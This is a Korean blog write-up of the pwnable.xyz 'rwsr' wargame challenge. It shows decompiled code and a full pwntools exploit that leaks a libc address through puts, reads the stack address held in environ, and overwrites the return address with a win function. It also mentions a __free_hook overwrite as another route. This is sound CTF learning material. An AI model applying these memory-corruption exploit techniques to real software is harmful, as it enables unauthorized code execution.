블로그 이전했습니다. https://jeongzero.oopy.io/
[pwnable.xyz] rwsr
본문 바로가기
워게임/pwnable.xyz

[pwnable.xyz] rwsr

728x90

 

1. 문제


1) mitigation 확인 

PIE 빼고 다 걸려있다. FUll RELRO 이기 떄문에 GOT overwrite는 불가능하다 

 

 

2) 문제 확인 

1번 메뉴로 뭐를 read할수 있다. 2번 메뉴로 특정 주소에 값을 넣을수 있는것으로 보인다 

 

 

3) 코드 확인 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char *s; // [rsp+10h] [rbp-10h]
  char *sa; // [rsp+10h] [rbp-10h]

  setup(argc, argv, envp);
  puts("Read Write Sleep Repeat.");
  do
  {
    while ( 1 )
    {
      while ( 1 )
      {
        print_menu();
        v3 = read_ulong();
        if ( v3 != 1 )
          break;
        printf("Addr: ");
        s = (char *)read_ulong();
        puts(s);
      }
      if ( v3 != 2 )
        break;
      printf("Addr: ");
      sa = (char *)read_ulong();
      printf("Value: ");
      *(_QWORD *)sa = read_ulong();
    }
  }
  while ( v3 );
  return 0;
}

모든 입력은 read_ulong() 함수로 받는다. 2번에서는 read_ulong 함수의 반환값에 값을 넣을 수 있는것으로보인다. read_ulong 함수를 살펴보자 

 

 

  • read_ulong() 함수
unsigned __int64 read_ulong()
{
  __int64 buf; // [rsp+0h] [rbp-30h]
  __int64 v2; // [rsp+8h] [rbp-28h]
  __int64 v3; // [rsp+10h] [rbp-20h]
  __int64 v4; // [rsp+18h] [rbp-18h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  buf = 0LL;
  v2 = 0LL;
  v3 = 0LL;
  v4 = 0LL;
  read(0, &buf, 0x20uLL);
  return strtoull((const char *)&buf, 0LL, 0);
}

strtoull 함수의 반환값을 넣는다. 해당 함수는 buf 저장된 문자열숫자를 원하는 진수형태로 반환해준다. 

 

따라서 1번 메뉴를 통해 원하는 주소에 담긴 값을 puts함수로 읽을 수 있고, 2번으로 원하는 값을 넣을수 있다. 

 

 

2. 접근방법


PIE가 안걸려있고, so 파일이 주어졌기 때문에, libc 주소는 leak할 수 있다. 하지만 got overwrite가 불가능하기 때문에, 스택 주소를 leak 하여 ret 주소만 알게 되면, 2번 메뉴를 통해 ret 주소에 win함수를 넣으면 끝이다. 

 

스택 주소를 leak하는 방법은 environ 환경변수 주소에 담긴 값을 이용하면 된다. 이는 libc 내부에 존재하며, libcbase 주소를 구한뒤, environ 변수 주소를 계산한다. 그다음 1번 메뉴를 통해 해당 주소에 담긴 값을 구하고, 이 값고 ret 주소 값의 차이를 이용하여 ret 주소를 구한다. 

 

그다음 마지막으로 구한 ret 주소에 2번 메뉴를 이용하여 win함수를 박으면 된다. 

 

 

3. 풀이


최종 익스코드는 다음과 같다 

from pwn import *

context(log_level="DEBUG")
p=remote("svc.pwnable.xyz",30019)
#p=process("./challenge")
libc=ELF("./alpine-libc-2.28.so",checksec=False)
e=ELF("./challenge")
offset=libc.symbols['environ']

#gdb.attach(p,'code\nb *0x98f+$code\n')
p.sendlineafter("> ","1")

p.sendlineafter("Addr: ",str(e.got['puts']))
#sleep(1)
t=p.recvuntil("M")
libcbase=u64(t[:len(t)-2].ljust(8,'\x00'))-libc.symbols['puts']
#libcbase=u64(p.recv(6)+"\x00\x00")-0x3c6790
#libc_environ=libcbase+0x3BA098

libc_environ=libcbase+offset
log.info(hex(offset))
log.info("libbase::"+hex(libcbase))
log.info("libc_env::"+hex(libc_environ))

p.sendlineafter("> ","1")
p.sendlineafter("Addr: ",str(libc_environ))

real_env=p.recvuntil("M")

ret_addr=u64(real_env[:len(real_env)-2].ljust(8,'\x00'))-0xf0
log.info("ret_addr::"+hex(ret_addr))
p.sendlineafter("> ","2")
p.sendlineafter("Addr: ",str(ret_addr))
p.sendlineafter("Value: ","0x400905")

p.sendlineafter("> ","0")


#log.info(hex(offset))
#log.info("libbase::"+hex(libcbase))
#log.info("libc_env::"+hex(libc_environ))

p.interactive()

 

 

 

4. 몰랐던 개념


  • environ 환경변수를 이용한 stack address leak
  • 존나 이해안가는게, rec(6) 이렇게 처음에 leak했는데 두번째 leak에서 에러뜸 ;;안됌 ;;
  • 다른 풀이방법으로 return 0을하게 되면 __GI_exit 이걸 호출하는데 여기 내부 로직중에 free가 호출되는 부분이 있음. 이를 이용하여 free_hook을 덮고 조지는 방법도 있음
728x90

'워게임 > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] bookmark  (0) 2020.05.08
[pwnable.xyz] attack  (0) 2020.05.07
[pwnable.xyz] message  (0) 2020.05.05
[pwnable.xyz] UAF  (0) 2020.05.04
[pwnable.xyz] fclose  (0) 2020.05.01